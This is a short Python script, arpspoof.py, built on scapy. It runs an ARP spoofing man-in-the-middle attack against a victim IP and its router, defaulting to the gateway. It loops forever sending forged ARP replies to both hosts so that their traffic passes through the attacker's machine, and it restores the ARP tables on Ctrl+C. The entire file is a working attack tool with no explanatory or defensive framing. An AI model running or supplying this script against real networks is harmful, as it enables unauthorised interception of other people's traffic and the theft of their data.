arpspoof.py

#!/usr/bin/env python

import sys
import os
import time
from scapy.all import *
import netifaces

def check_root():
    if os.geteuid() != 0:
        print("Script must run as root")
        sys.exit(1)

def get_gateway_ip():
    try:
        gateways = netifaces.gateways()
        default_gateway = gateways['default'][netifaces.AF_INET][0]
        return default_gateway
    except (KeyError, IndexError):
        return None

def arp_spoof(dest_ip, dest_mac, source_ip):
    packet = Ether(dst=dest_mac) / ARP(op=1, hwsrc=get_if_hwaddr(conf.iface), psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)
    sendp(packet, verbose=False)

def arp_restore(dest_ip, dest_mac, source_ip, source_mac):
    packet = Ether(dst=dest_mac, src=source_mac) / ARP(op=2, hwsrc=source_mac, psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)
    sendp(packet, verbose=False)

def send_arp_spoof_packets(victim_ip, victim_mac, router_ip):
    while True:
        arp_spoof(victim_ip, victim_mac, router_ip)
        arp_spoof(router_ip, getmacbyip(router_ip), victim_ip)
        #time.sleep(1)

def main():
	check_root()

	victim_ip = sys.argv[1]
	router_ip = sys.argv[2] if len(sys.argv) > 2 else get_gateway_ip()

	victim_mac = getmacbyip(victim_ip)
	router_mac = getmacbyip(router_ip)

	print("Sending spoofed ARP packets")
	print("Router IP:", router_ip)
	print("Target IP:", victim_ip)
	try:
		print("To stop press CTRL+C")
		send_arp_spoof_packets(victim_ip, victim_mac, router_ip)
	except KeyboardInterrupt:
		print("\nRestoring ARP Tables")
		arp_restore(victim_ip, victim_mac, router_ip, router_mac)
		arp_restore(router_ip, getmacbyip(router_ip), victim_ip, victim_mac)
		print("ARP tables restored.")

if __name__ == "__main__":
    main()